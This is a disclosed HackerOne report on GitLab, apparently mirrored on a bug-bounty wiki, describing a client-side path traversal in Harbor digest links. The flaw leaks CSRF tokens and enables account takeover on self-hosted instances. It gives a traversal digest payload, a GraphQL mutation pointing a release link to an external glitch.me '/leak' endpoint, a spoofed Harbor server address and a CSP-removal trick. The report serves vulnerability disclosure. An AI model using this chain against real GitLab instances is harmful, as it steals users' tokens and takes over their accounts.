CSPT in Harbor digests links lead to CSRF token leakage and ATO on selfhosted instances
A client-side path traversal in Harbor digest links allowed an attacker to craft a link that, when clicked, leaked the victim's CSRF token to an external site via a redirect. On self-hosted GitLab instances without CSP, this token could be used to add an attacker-controlled email to the victim's account, leading to account takeover.
GitLab
Originally disclosed on GitLab
- Fixed in 3 months
- Disclosed after 3 months
⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.
HackerOne report #2666352 by joaxcar on 2024-08-16, assigned to GitLab Team:
Report | Attachments | How To Reproduce
Report
Summary
Its possible to leak a CSRF token through a Client side path traversal (CSPT) if the victim click a link generated by a spoofed Harbor server.
Given an API response like this
[
{
"creation_time": "2024-08-09T15:07:53.614Z",
"digest": "..\\..\\..\\..\\releases\\test\\downloads\\test#",
"id": 1,
"scan_overview": {
"duration": 120,
"scan_status": "Success",
"severity": "High"
},
"size": 2048,
"tags": [
{
"name": "latest",
"push_time": "2024-08-09T16:00:00.000Z",
"signed": false
}
],
"type": "IMAGE",
"update_time": "2024-08-10T03:16:28.464Z"
}
]
When visiting /-/harbor/repositories/test/test will result in a link that, when clicked will trigger this code snippet
export function getHarborTags({ requestPath, repoName, digest, page }) {
const url = buildApiUrl(HARBOR_TAGS_PATH)
.replace('/:request_path', requestPath)
.replace(':repo_name', repoName)
.replace(':digest', digest);
return axios.get(url, {
params: {
page,
},
});
}
And the GET request will end up four levels down in the URL due to the traversal. The digest needs to be URL encoded.
As this request is made using axios it will contain a x-csrf-token header. This does not make much difference for requests on the Gitlab domain as GET requests are seldom state changing.
However, axios is using fetch and when fetch encounters a redirect it will also redirect any special headers to the new location. This can be abused using permanent release links .
Creating a release redirect and then pointing the GET request to that endpoint will leak the x-csrf-token to an external site (this is blocked on gitlab.com by the connect-src CSP but works on self hosted).
With the CSRF token the attacker server can then make any requests towards the gitlab
Steps to reproduce
Note that I am just spoofing some endpoints here, a real attack could just relay all other traffic to a proper Harbor server making everything else work as normal for the user
Simple version (this one will need you to use my server)
- Create a new group and a project in that group
- Go to
https://gitlab.com/groups/GROUPNAME/-/settings/integrations/harbor/edit - Add
http://137.184.41.210as the URL, add a name, username and a 8 letter password - Now go to https://gitlab.com/GROUPNAME/PROJECTNAME/-/releases and create a new release
- Fill in a new tag called
testand anything as the title. Then click create - Now go to https://gitlab.com/-/graphql-explorer and put this in the query area
mutation createReleaseAssetLink($input: ReleaseAssetLinkCreateInput!) {
releaseAssetLinkCreate(input: $input) {
errors
__typename
}
}
put this in the variables area (replace GROUPNAME/PROJECTNAME)
{
"input": {
"projectPath": "GROUPNAME/PROJECTNAME",
"tagName": "test",
"name": "x",
"url": "https://factual-indecisive-foe.glitch.me/leak",
"linkType": "PACKAGE",
"directAssetPath": "/test"
}
- Send the request, now you should be able to access your script through `https://gitlab.com/GROUPNAME/PROJECTNAME/-/releases/test/downloads/test
- Go to
https://factual-indecisive-foe.glitch.me/start?target=GROUPNAME/[email protected]replacingGROUPNAME/PROJECTNAMEandemail - On the site click the link to gitlab
- On the gitlab page that opens up click the artifact link
- Wait about 3 seconds
- Go to https://gitlab.com/-/profile/emails and you should now have an attacker controlled email on your account (click remove to remove the email)
SAFE: self hosted
The code for the attacker page is here: https://glitch.com/edit/#!/factual-indecisive-foe. Make a remix or copy it somewhere else to replicate it. But it does not do anything special just using the two parameters from step 12
To host the spoofed Harbor instance http://137.184.41.210 host this Python server somewhere
Its possible to test the POC on gitlab.com if you use a rewrite rule that removes the CSP:
^Content\-Security\-Policy.*$to empty string (regexp match) The first one will enable the UI on Gitlab.com and the second one will remove the CSP mimicking the defaults on self hosted servers
Video POC
Impact
Leaking CSRF token on self hosted instances that leads to full CSRF possible to perform an ATO adding an attacker email to victim account.
Its a bit hard to asses this with CVSS, I understand if its put as C and I Low as with no CSP XSS.
If you alter the other parameters too much, it gets really low, and it's still an ATO on self-hosted instances, so I hope you can take that into consideration when assessing complexity and scope, for example.
It would, for example, be possible to abuse a compromised Harbor server without any prior access to the GitLab instance.
What is the current bug behavior?
Path traversal in the artifact links
What is the expected correct behavior?
Artifact links should not be able to have path traversals.
Impact
Leaking CSRF token on self hosted instances that leads to full CSRF possible to perform an ATO adding an attacker email to victim account.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application failed to sanitise the digest value from the Harbor API response before using it in a URL path, allowing directory traversal sequences to redirect the request to an attacker-controlled endpoint.
Impact
On self-hosted instances without CSP, an attacker could leak the CSRF token and perform account takeover by adding an attacker-controlled email; on gitlab.com this is blocked by the connect-src CSP.
What the attacker needed
Self-hosted GitLab instance without CSP; victim clicks a link; attacker controls a Harbor server or release link
How it was found
- Create a new group and a project in that group
- Go to the Harbor integration settings and add a spoofed Harbor server URL with credentials
- Create a new release with a tag and a release asset link pointing to an attacker-controlled URL
- Visit the attacker's page that links to the GitLab project's Harbor page
- Click the artifact link on the GitLab page to trigger the CSRF token leak
- After a few seconds, check the account emails page to see the attacker-controlled email added
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A CSRF token is a secret code that websites use to make sure requests come from their own pages, not from attackers. Here, a flaw in how GitLab built links from Harbor data let an attacker trick a victim into clicking a link that sent that secret code to the attacker's server. With that code, the attacker could then act as the victim and add their own email address to the victim's account, taking it over.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.